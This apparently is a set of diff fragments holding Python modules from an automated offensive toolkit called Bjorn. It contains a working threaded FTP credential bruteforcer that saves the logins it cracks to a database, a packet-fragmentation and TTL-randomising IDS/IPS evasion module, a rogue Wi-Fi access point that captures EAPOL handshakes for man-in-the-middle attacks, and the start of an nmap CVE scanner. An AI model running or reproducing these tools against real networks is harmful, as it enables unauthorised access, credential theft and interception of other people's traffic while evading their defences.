b_service = '["ftp"]'
|
||||
b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]'
|
||||
b_priority = 70
|
||||
b_cooldown = 1800 # 30 min between runs
|
||||
b_rate_limit = '3/86400' # max 3 per day
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_timeout = 600
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 3
|
||||
b_risk_level = "medium"
|
||||
b_tags = ["bruteforce", "ftp", "credentials"]
|
||||
b_category = "exploitation"
|
||||
b_name = "FTP Bruteforce"
|
||||
b_description = "Threaded FTP credential bruteforcer with share enumeration."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "FTPBruteforce.png"
|
||||
|
||||
class FTPBruteforce:
|
||||
"""Orchestrator wrapper for FTPConnector."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.ftp_bruteforce = FTPConnector(shared_data)
|
||||
logger.info("FTPConnector initialized.")
|
||||
|
||||
def bruteforce_ftp(self, ip, port):
|
||||
"""Run FTP bruteforce for (ip, port)."""
|
||||
return self.ftp_bruteforce.run_bruteforce(ip, port)
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Orchestrator entry point. Returns 'success' or 'failed'."""
|
||||
self.shared_data.bjorn_orch_status = "FTPBruteforce"
|
||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||
logger.info(f"Brute forcing FTP on {ip}:{port}...")
|
||||
success, results = self.bruteforce_ftp(ip, port)
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
|
||||
class FTPConnector:
|
||||
"""Handles FTP attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
self.users = self._read_lines(shared_data.users_file)
|
||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||
|
||||
# Cache IP -> (mac, hostname)
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
|
||||
self.lock = threading.Lock()
|
||||
self.results: List[List[str]] = [] # [mac, ip, hostname, user, password, port]
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---------- file utils ----------
|
||||
@staticmethod
|
||||
def _read_lines(path: str) -> List[str]:
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8", errors="ignore") as f:
|
||||
return [l.rstrip("\n\r") for l in f if l.strip()]
|
||||
except Exception as e:
|
||||
logger.error(f"Cannot read file {path}: {e}")
|
||||
return []
|
||||
|
||||
# ---------- mapping DB hosts ----------
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# ---------- FTP ----------
|
||||
def ftp_connect(self, adresse_ip: str, user: str, password: str, port: int = 21) -> bool:
|
||||
timeout = float(getattr(self.shared_data, "ftp_connect_timeout_s", 3.0))
|
||||
try:
|
||||
conn = FTP()
|
||||
conn.connect(adresse_ip, port, timeout=timeout)
|
||||
conn.login(user, password)
|
||||
try:
|
||||
conn.quit()
|
||||
except Exception:
|
||||
pass
|
||||
logger.info(f"Access to FTP successful on {adresse_ip} with user '{user}'")
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
# ---------- DB upsert fallback ----------
|
||||
def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None):
|
||||
mac_k = mac or ""
|
||||
ip_k = ip or ""
|
||||
user_k = user or ""
|
||||
db_k = database or ""
|
||||
port_k = int(port or 0)
|
||||
|
||||
try:
|
||||
with self.shared_data.db.transaction(immediate=True):
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra)
|
||||
VALUES('ftp',?,?,?,?,?,?,?,NULL)
|
||||
""",
|
||||
(mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k),
|
||||
)
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
UPDATE creds
|
||||
SET "password"=?,
|
||||
hostname=COALESCE(?, hostname),
|
||||
last_seen=CURRENT_TIMESTAMP
|
||||
WHERE service='ftp'
|
||||
AND COALESCE(mac_address,'')=?
|
||||
AND COALESCE(ip,'')=?
|
||||
AND COALESCE("user",'')=?
|
||||
AND COALESCE(COALESCE("database",""),'')=?
|
||||
AND COALESCE(port,0)=?
|
||||
""",
|
||||
(password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k),
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}")
|
||||
|
||||
# ---------- worker / queue ----------
|
||||
def worker(self, success_flag):
|
||||
"""Worker thread for FTP bruteforce attempts."""
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||
break
|
||||
|
||||
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||
try:
|
||||
if self.ftp_connect(adresse_ip, user, password, port=port):
|
||||
with self.lock:
|
||||
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||
logger.success(f"Found credentials IP:{adresse_ip} | User:{user}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)}
|
||||
self.save_results()
|
||||
self.removeduplicates()
|
||||
success_flag[0] = True
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Configurable delay between FTP attempts
|
||||
if getattr(self.shared_data, "timewait_ftp", 0) > 0:
|
||||
time.sleep(self.shared_data.timewait_ftp)
|
||||
|
||||
|
||||
def run_bruteforce(self, adresse_ip: str, port: int):
|
||||
self.results = []
|
||||
mac_address = self.mac_for_ip(adresse_ip)
|
||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
|
||||
def run_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
|
||||
for user in self.users:
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
try:
|
||||
run_phase(dict_passwords)
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"FTP dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_phase(fallback_passwords)
|
||||
self.progress.set_complete()
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# ---------- persistence DB ----------
|
||||
def save_results(self):
|
||||
for mac, ip, hostname, user, password, port in self.results:
|
||||
try:
|
||||
self.shared_data.db.insert_cred(
|
||||
service="ftp",
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
user=user,
|
||||
password=password,
|
||||
port=port,
|
||||
database=None,
|
||||
extra=None
|
||||
)
|
||||
except Exception as e:
|
||||
if "ON CONFLICT clause does not match" in str(e):
|
||||
self._fallback_upsert_cred(
|
||||
mac=mac, ip=ip, hostname=hostname, user=user,
|
||||
password=password, port=port, database=None
|
||||
)
|
||||
else:
|
||||
logger.error(f"insert_cred failed for {ip} {user}: {e}")
|
||||
self.results = []
|
||||
|
||||
def removeduplicates(self):
|
||||
"""No longer needed with unique DB index; kept for interface compat."""
|
||||
# Dedup handled by DB UNIQUE constraint + ON CONFLICT in save_results
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
sd = SharedData()
|
||||
ftp_bruteforce = FTPBruteforce(sd)
|
||||
logger.info("FTP brute force module ready.")
|
||||
exit(0)
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
|
||||
@@ -1,177 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
heimdall_guard.py -- Stealth operations and IDS/IPS evasion for BJORN.
|
||||
Handles packet fragmentation, timing randomization, and TTL manipulation.
|
||||
Requires: scapy.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import random
|
||||
import time
|
||||
import threading
|
||||
import datetime
|
||||
|
||||
from collections import deque
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
try:
|
||||
from scapy.all import IP, TCP, Raw, send, conf
|
||||
HAS_SCAPY = True
|
||||
except ImportError:
|
||||
HAS_SCAPY = False
|
||||
IP = TCP = Raw = send = conf = None
|
||||
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="heimdall_guard.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "HeimdallGuard"
|
||||
b_module = "heimdall_guard"
|
||||
b_status = "heimdall_guard"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "stealth"
|
||||
b_priority = 10
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 1800
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 10 # This IS the stealth module
|
||||
b_risk_level = "low"
|
||||
b_enabled = 1
|
||||
b_tags = ["stealth", "evasion", "pcap", "network"]
|
||||
b_category = "defense"
|
||||
b_name = "Heimdall Guard"
|
||||
b_description = "Advanced stealth module that manipulates traffic to evade IDS/IPS detection."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.3"
|
||||
b_icon = "HeimdallGuard.png"
|
||||
|
||||
b_args = {
|
||||
"interface": {
|
||||
"type": "text",
|
||||
"label": "Interface",
|
||||
"default": "eth0"
|
||||
},
|
||||
"mode": {
|
||||
"type": "select",
|
||||
"label": "Stealth Mode",
|
||||
"choices": ["timing", "fragmented", "all"],
|
||||
"default": "all"
|
||||
},
|
||||
"delay": {
|
||||
"type": "number",
|
||||
"label": "Base Delay (s)",
|
||||
"min": 0.1,
|
||||
"max": 10.0,
|
||||
"step": 0.1,
|
||||
"default": 1.0
|
||||
}
|
||||
}
|
||||
|
||||
class HeimdallGuard:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.packet_queue = deque()
|
||||
self.active = False
|
||||
self.lock = threading.Lock()
|
||||
|
||||
self.stats = {
|
||||
'packets_processed': 0,
|
||||
'packets_fragmented': 0,
|
||||
'timing_adjustments': 0
|
||||
}
|
||||
|
||||
def _fragment_packet(self, packet, mtu=1400):
|
||||
"""Fragment IP packets to bypass strict IDS rules."""
|
||||
if IP in packet:
|
||||
try:
|
||||
payload = bytes(packet[IP].payload)
|
||||
max_size = mtu - 40 # conservative
|
||||
frags = []
|
||||
offset = 0
|
||||
while offset < len(payload):
|
||||
chunk = payload[offset:offset + max_size]
|
||||
f = packet.copy()
|
||||
f[IP].flags = 'MF' if offset + max_size < len(payload) else 0
|
||||
f[IP].frag = offset // 8
|
||||
f[IP].payload = Raw(chunk)
|
||||
frags.append(f)
|
||||
offset += max_size
|
||||
return frags
|
||||
except Exception as e:
|
||||
logger.debug(f"Fragmentation error: {e}")
|
||||
return [packet]
|
||||
|
||||
def _apply_stealth(self, packet):
|
||||
"""Randomize TTL and TCP options."""
|
||||
if IP in packet:
|
||||
packet[IP].ttl = random.choice([64, 128, 255])
|
||||
if TCP in packet:
|
||||
packet[TCP].window = random.choice([8192, 16384, 65535])
|
||||
# Basic TCP options shuffle
|
||||
packet[TCP].options = [('MSS', 1460), ('NOP', None), ('SAckOK', '')]
|
||||
return packet
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
if not HAS_SCAPY:
|
||||
logger.error("HeimdallGuard requires scapy but it is not installed.")
|
||||
return "failed"
|
||||
|
||||
# Reset per-run state
|
||||
self.stats = {'packets_processed': 0, 'packets_fragmented': 0, 'timing_adjustments': 0}
|
||||
self.packet_queue.clear()
|
||||
|
||||
iface = getattr(self.shared_data, "heimdall_guard_interface", conf.iface)
|
||||
mode = getattr(self.shared_data, "heimdall_guard_mode", "all")
|
||||
delay = float(getattr(self.shared_data, "heimdall_guard_delay", 1.0))
|
||||
timeout = int(getattr(self.shared_data, "heimdall_guard_timeout", 600))
|
||||
|
||||
logger.info(f"HeimdallGuard: Engaging stealth mode ({mode}) on {iface}")
|
||||
self.shared_data.log_milestone(b_class, "StealthActive", f"Mode: {mode}")
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"ip": ip, "mode": mode, "iface": iface}
|
||||
|
||||
self.active = True
|
||||
start_time = time.time()
|
||||
|
||||
try:
|
||||
while time.time() - start_time < timeout:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("HeimdallGuard: Interrupted by orchestrator.")
|
||||
return "interrupted"
|
||||
|
||||
# Progress reporting
|
||||
elapsed = int(time.time() - start_time)
|
||||
prog = int((elapsed / timeout) * 100)
|
||||
self.shared_data.bjorn_progress = f"{prog}%"
|
||||
|
||||
if elapsed % 60 == 0:
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Guarding... {self.stats['packets_processed']} pkts handled")
|
||||
|
||||
# Logic: if we had a queue, we'd process it here
|
||||
# Simulation for BJORN action demonstration:
|
||||
time.sleep(2)
|
||||
|
||||
logger.info("HeimdallGuard: Protection session finished.")
|
||||
self.shared_data.log_milestone(b_class, "Shutdown", "Stealth mode disengaged")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"HeimdallGuard error: {e}")
|
||||
return "failed"
|
||||
finally:
|
||||
self.active = False
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
|
||||
return "success"
|
||||
|
||||
if __name__ == "__main__":
|
||||
from init_shared import shared_data
|
||||
guard = HeimdallGuard(shared_data)
|
||||
guard.execute("0.0.0.0", None, {}, "heimdall_guard")
|
||||
@@ -1,270 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
"""
|
||||
loki_deceiver.py -- WiFi deception tool for BJORN.
|
||||
Creates rogue access points and captures authentications/handshakes.
|
||||
Requires: hostapd, dnsmasq, airmon-ng.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
import re
|
||||
import tempfile
|
||||
import datetime
|
||||
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from logger import Logger
|
||||
try:
|
||||
import scapy.all as scapy
|
||||
from scapy.layers.dot11 import Dot11, Dot11Beacon, Dot11Elt
|
||||
HAS_SCAPY = True
|
||||
try:
|
||||
from scapy.all import AsyncSniffer # type: ignore
|
||||
except Exception:
|
||||
AsyncSniffer = None
|
||||
try:
|
||||
from scapy.layers.dot11 import EAPOL
|
||||
except ImportError:
|
||||
EAPOL = None
|
||||
except ImportError:
|
||||
HAS_SCAPY = False
|
||||
scapy = None
|
||||
Dot11 = Dot11Beacon = Dot11Elt = EAPOL = None
|
||||
AsyncSniffer = None
|
||||
|
||||
logger = Logger(name="loki_deceiver.py")
|
||||
|
||||
# -------------------- Action metadata --------------------
|
||||
b_class = "LokiDeceiver"
|
||||
b_module = "loki_deceiver"
|
||||
b_status = "loki_deceiver"
|
||||
b_port = None
|
||||
b_service = "[]"
|
||||
b_trigger = "on_start"
|
||||
b_parent = None
|
||||
b_action = "aggressive"
|
||||
b_priority = 20
|
||||
b_cooldown = 0
|
||||
b_rate_limit = None
|
||||
b_timeout = 1200
|
||||
b_max_retries = 1
|
||||
b_stealth_level = 2 # Very noisy (Rogue AP)
|
||||
b_risk_level = "high"
|
||||
b_enabled = 1
|
||||
b_tags = ["wifi", "ap", "rogue", "mitm"]
|
||||
b_category = "exploitation"
|
||||
b_name = "Loki Deceiver"
|
||||
b_description = "Creates a rogue access point to capture WiFi authentications and perform MITM."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.2"
|
||||
b_icon = "LokiDeceiver.png"
|
||||
|
||||
b_args = {
|
||||
"interface": {
|
||||
"type": "text",
|
||||
"label": "Wireless Interface",
|
||||
"default": "wlan0"
|
||||
},
|
||||
"ssid": {
|
||||
"type": "text",
|
||||
"label": "AP SSID",
|
||||
"default": "Bjorn_Free_WiFi"
|
||||
},
|
||||
"channel": {
|
||||
"type": "number",
|
||||
"label": "Channel",
|
||||
"min": 1,
|
||||
"max": 14,
|
||||
"default": 6
|
||||
},
|
||||
"password": {
|
||||
"type": "text",
|
||||
"label": "WPA2 Password (Optional)",
|
||||
"default": ""
|
||||
}
|
||||
}
|
||||
|
||||
class LokiDeceiver:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.hostapd_proc = None
|
||||
self.dnsmasq_proc = None
|
||||
self.tcpdump_proc = None
|
||||
self._sniffer = None
|
||||
self.active_clients = set()
|
||||
self.stop_event = threading.Event()
|
||||
self.lock = threading.Lock()
|
||||
|
||||
def _setup_monitor_mode(self, iface: str):
|
||||
logger.info(f"LokiDeceiver: Setting {iface} to monitor mode...")
|
||||
subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'], capture_output=True)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'down'], capture_output=True)
|
||||
subprocess.run(['sudo', 'iw', iface, 'set', 'type', 'monitor'], capture_output=True)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True)
|
||||
|
||||
def _create_configs(self, iface, ssid, channel, password):
|
||||
# hostapd.conf
|
||||
h_conf = [
|
||||
f'interface={iface}',
|
||||
'driver=nl80211',
|
||||
f'ssid={ssid}',
|
||||
'hw_mode=g',
|
||||
f'channel={channel}',
|
||||
'macaddr_acl=0',
|
||||
'ignore_broadcast_ssid=0'
|
||||
]
|
||||
if password:
|
||||
h_conf.extend([
|
||||
'auth_algs=1',
|
||||
'wpa=2',
|
||||
f'wpa_passphrase={password}',
|
||||
'wpa_key_mgmt=WPA-PSK',
|
||||
'wpa_pairwise=CCMP',
|
||||
'rsn_pairwise=CCMP'
|
||||
])
|
||||
|
||||
h_path = os.path.join(tempfile.gettempdir(), 'bjorn_hostapd.conf')
|
||||
with open(h_path, 'w') as f:
|
||||
f.write('\n'.join(h_conf))
|
||||
|
||||
# dnsmasq.conf
|
||||
d_conf = [
|
||||
f'interface={iface}',
|
||||
'dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h',
|
||||
'dhcp-option=3,192.168.1.1',
|
||||
'dhcp-option=6,192.168.1.1',
|
||||
'server=8.8.8.8',
|
||||
'log-queries',
|
||||
'log-dhcp'
|
||||
]
|
||||
d_path = os.path.join(tempfile.gettempdir(), 'bjorn_dnsmasq.conf')
|
||||
with open(d_path, 'w') as f:
|
||||
f.write('\n'.join(d_conf))
|
||||
|
||||
return h_path, d_path
|
||||
|
||||
def _packet_callback(self, packet):
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return
|
||||
|
||||
if packet.haslayer(Dot11):
|
||||
addr2 = packet.addr2 # Source MAC
|
||||
if addr2 and addr2 not in self.active_clients:
|
||||
# Association request or Auth
|
||||
if packet.type == 0 and packet.subtype in [0, 11]:
|
||||
with self.lock:
|
||||
self.active_clients.add(addr2)
|
||||
logger.success(f"LokiDeceiver: New client detected: {addr2}")
|
||||
self.shared_data.log_milestone(b_class, "ClientConnected", f"MAC: {addr2}")
|
||||
|
||||
if EAPOL and packet.haslayer(EAPOL):
|
||||
logger.success(f"LokiDeceiver: EAPOL packet captured from {addr2}")
|
||||
self.shared_data.log_milestone(b_class, "Handshake", f"EAPOL from {addr2}")
|
||||
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
iface = getattr(self.shared_data, "loki_deceiver_interface", "wlan0")
|
||||
ssid = getattr(self.shared_data, "loki_deceiver_ssid", "Bjorn_AP")
|
||||
channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6))
|
||||
password = getattr(self.shared_data, "loki_deceiver_password", "")
|
||||
timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600))
|
||||
_fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "wifi")
|
||||
output_dir = getattr(self.shared_data, "loki_deceiver_output", _fallback_dir)
|
||||
|
||||
# Reset per-run state
|
||||
self.active_clients.clear()
|
||||
|
||||
logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}")
|
||||
self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}")
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"ssid": ssid, "iface": iface, "channel": str(channel)}
|
||||
|
||||
try:
|
||||
self.stop_event.clear()
|
||||
# self._setup_monitor_mode(iface) # Optional depending on driver
|
||||
h_path, d_path = self._create_configs(iface, ssid, channel, password)
|
||||
|
||||
# Set IP for interface
|
||||
subprocess.run(['sudo', 'ip', 'addr', 'add', '192.168.1.1/24', 'dev', iface], capture_output=True)
|
||||
subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True)
|
||||
|
||||
# Start processes
|
||||
# Use DEVNULL to avoid blocking on unread PIPE buffers.
|
||||
self.hostapd_proc = subprocess.Popen(
|
||||
['sudo', 'hostapd', h_path],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
self.dnsmasq_proc = subprocess.Popen(
|
||||
['sudo', 'dnsmasq', '-C', d_path, '-k'],
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.DEVNULL,
|
||||
)
|
||||
|
||||
# Start sniffer (must be stoppable to avoid leaking daemon threads).
|
||||
if HAS_SCAPY and scapy and AsyncSniffer:
|
||||
try:
|
||||
self._sniffer = AsyncSniffer(iface=iface, prn=self._packet_callback, store=False)
|
||||
self._sniffer.start()
|
||||
except Exception as sn_e:
|
||||
logger.warning(f"LokiDeceiver: sniffer start failed: {sn_e}")
|
||||
self._sniffer = None
|
||||
|
||||
start_time = time.time()
|
||||
while time.time() - start_time < timeout:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("LokiDeceiver: Interrupted by orchestrator.")
|
||||
return "interrupted"
|
||||
|
||||
# Check if procs still alive
|
||||
if self.hostapd_proc.poll() is not None:
|
||||
logger.error("LokiDeceiver: hostapd crashed.")
|
||||
break
|
||||
|
||||
# Progress report
|
||||
elapsed = int(time.time() - start_time)
|
||||
prog = int((elapsed / timeout) * 100)
|
||||
self.shared_data.bjorn_progress = f"{prog}%"
|
||||
# EPD live status update
|
||||
self.shared_data.comment_params = {"ssid": ssid, "clients": str(len(self.active_clients)), "uptime": str(elapsed)}
|
||||
|
||||
if elapsed % 60 == 0:
|
||||
self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}")
|
||||
|
||||
time.sleep(2)
|
||||
|
||||
logger.info("LokiDeceiver: Stopping AP.")
|
||||
self.shared_data.log_milestone(b_class, "Shutdown", "Stopping Rogue AP")
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"LokiDeceiver error: {e}")
|
||||
return "failed"
|
||||
finally:
|
||||
self.stop_event.set()
|
||||
if self._sniffer is not None:
|
||||
try:
|
||||
self._sniffer.stop()
|
||||
except Exception:
|
||||
pass
|
||||
self._sniffer = None
|
||||
|
||||
# Cleanup
|
||||
for p in [self.hostapd_proc, self.dnsmasq_proc]:
|
||||
if p:
|
||||
try: p.terminate(); p.wait(timeout=5)
|
||||
except Exception: pass
|
||||
|
||||
# Restore NetworkManager if needed (custom logic based on usage)
|
||||
# subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True)
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
|
||||
return "success"
|
||||
|
||||
if __name__ == "__main__":
|
||||
from init_shared import shared_data
|
||||
loki = LokiDeceiver(shared_data)
|
||||
loki.execute("0.0.0.0", None, {}, "loki_deceiver")
|
||||
@@ -1,464 +0,0 @@
|
||||
"""nmap_vuln_scanner.py - Nmap-based CPE/CVE vulnerability scanning with vulners integration."""
|
||||
|
||||
import re
|
||||
import time
|
||||
import nmap
|
||||
import json
|
||||
import logging
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from typing import Dict, List, Any
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="NmapVulnScanner.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "NmapVulnScanner"
|
||||
b_module = "nmap_vuln_scanner"
|
||||
b_status = "NmapVulnScanner"
|
||||
b_port = None
|
||||
b_parent = None
|
||||
b_action = "normal"
|
||||
b_service = []
|
||||
b_trigger = "on_port_change"
|
||||
b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}'
|
||||
b_priority = 11
|
||||
b_cooldown = 0
|
||||
b_enabled = 1
|
||||
b_rate_limit = None
|
||||
b_timeout = 600
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 3
|
||||
b_risk_level = "medium"
|
||||
b_tags = ["vuln", "nmap", "cpe", "cve", "scanner"]
|
||||
b_category = "recon"
|
||||
b_name = "Nmap Vuln Scanner"
|
||||
b_description = "Nmap-based CPE/CVE vulnerability scanning with vulners integration."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "NmapVulnScanner.png"
|
||||
|
||||
# Pre-compiled regex (saves CPU on Pi Zero)
|
||||
CVE_RE = re.compile(r'CVE-\d{4}-\d{4,7}', re.IGNORECASE)
|
||||
|
||||
|
||||
class NmapVulnScanner:
|
||||
"""Nmap vulnerability scanner (fast CPE/CVE mode) with progress tracking."""
|
||||
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
# No shared self.nm: instantiate per scan method to avoid state corruption between batches
|
||||
logger.info("NmapVulnScanner initialized")
|
||||
|
||||
# ---------------------------- Public API ---------------------------- #
|
||||
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
try:
|
||||
logger.info(f"Starting vulnerability scan for {ip}")
|
||||
self.shared_data.bjorn_orch_status = "NmapVulnScanner"
|
||||
self.shared_data.bjorn_progress = "0%"
|
||||
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return 'interrupted'
|
||||
|
||||
# 1) Metadata
|
||||
meta = {}
|
||||
try:
|
||||
meta = json.loads(row.get('metadata') or '{}')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2) Get MAC and ALL ports
|
||||
mac = row.get("MAC Address") or row.get("mac_address") or ""
|
||||
|
||||
ports_str = ""
|
||||
if mac:
|
||||
r = self.shared_data.db.query(
|
||||
"SELECT ports FROM hosts WHERE mac_address=? LIMIT 1", (mac,)
|
||||
)
|
||||
if r and r[0].get('ports'):
|
||||
ports_str = r[0]['ports']
|
||||
|
||||
if not ports_str:
|
||||
ports_str = (
|
||||
row.get("Ports") or row.get("ports") or
|
||||
meta.get("ports_snapshot") or ""
|
||||
)
|
||||
|
||||
if not ports_str:
|
||||
logger.warning(f"No ports to scan for {ip}")
|
||||
self.shared_data.bjorn_progress = ""
|
||||
return 'failed'
|
||||
|
||||
ports = [p.strip() for p in ports_str.split(';') if p.strip()]
|
||||
|
||||
# Strip port format (keep just the number from "80/tcp")
|
||||
ports = [p.split('/')[0] for p in ports]
|
||||
|
||||
self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports))}
|
||||
logger.debug(f"Found {len(ports)} ports for {ip}: {ports[:5]}...")
|
||||
|
||||
# 3) "Rescan Only" filtering
|
||||
if self.shared_data.config.get('vuln_rescan_on_change_only', False):
|
||||
if self._has_been_scanned(mac):
|
||||
original_count = len(ports)
|
||||
ports = self._filter_ports_already_scanned(mac, ports)
|
||||
